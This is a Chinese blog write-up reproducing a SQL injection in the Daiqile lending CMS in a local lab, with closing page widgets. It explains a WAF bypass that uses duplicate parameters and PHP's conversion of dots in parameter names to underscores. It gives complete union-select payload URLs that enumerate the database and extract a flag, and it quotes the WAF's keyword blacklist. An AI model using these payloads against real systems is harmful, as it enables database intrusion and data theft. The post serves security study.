贷齐乐系统SQL注入复现

目录

前言

正文

绕过思路

PHP特性

 绕过

查询

总结


前言

学SQL注入时学到了一个很经典的案例,贷齐乐系统,安全问题严重。由于连续出了多次安全漏洞,所以贷齐乐系统中添加了严重影响正常使用的变态WAF。

select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile

str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string)

两条过滤,第一条一旦遇到select,包括单引号,包括注释符,就立即exit整个流程;而第二条替换最明显的效果,就是所有的英文括号都变成中文括号,导致user(),database()等无法执行。

初学看到这俩WAF确实眼前一黑,学后发现绕过十分巧妙,故做一下复现,以作记录。

正文

绕过思路

想找到SQL注入漏洞,首先就是要绕过WAF。

而在在贷齐乐源码中,对于输入的处理过程如下:

index.php -> config.inc.php -> sqlin.php -> safe.inc.php

sqlin.php对select、union、’等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。

safe.inc.php替换敏感字符,比如<、>、(、)等。

但在safe.inc.php里有如下一段代码:

$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);
    foreach ($rewrite_url as $key => $value) {
        $_value = explode("=", $value);
        if (isset($_value[1])) {
            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
        }
    }

将$\_SERVER\['REQUEST\_URI'\]用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$\_REQUEST数组中:$\_REQUEST\[$\_value\[0\]\] = dhtmlspecialchars\(addslashes\($\_value\[1\]\)\);

这个过程等于手工处理了一遍REQUEST\_URI,将REQUEST\_URI中的字符串分割成数组覆盖到REQUEST里。

这个过程是在第一道WAF之后进行的,如果能有一个方法绕过第一道WAF认为请求中没有恶意字符,再通过此处的覆盖,将恶意字符引入$_REQUEST中,就可以完成WAF的绕过了。

此处引入两个PHP特性

PHP特性

一是当输入两个同名参数时,php取后一个参数

二是在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。

 绕过

想要以此注入需满足:注入点可控变量需要获取自$_REQUEST,变量的名字必须包含下划线。

在user.class.php 394行即有一个满足条件的函数user_id

继续下去就比较简单了,空格使用“/**/”来代替,“=”使用“like”代替,单双引号的过滤,最后将内容进行16进制转换,挨个查询即可,能够查询出库名、表名和列名,基本上就完成了查询。

查询

这里使用如下参数对数据库名称进行查询

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1 

结果如下 

使用limit 进行查询

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1

返回id

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1

 返回name

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1

 返回pass

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

返回flag

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

总结

漏洞的挖掘、利用十分巧妙,利用了hpp+php特性,最终绕过了CMS应用中变态的WAF。但造成漏洞的根本原因既不在于hpp,也不在于php特性,根本原因是贷齐乐内部存在过多SQL注入漏洞。

WAF终究是补救的手段,防范各类漏洞、注入最好还是能够从源码编写下手,在一开始就无需补救。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值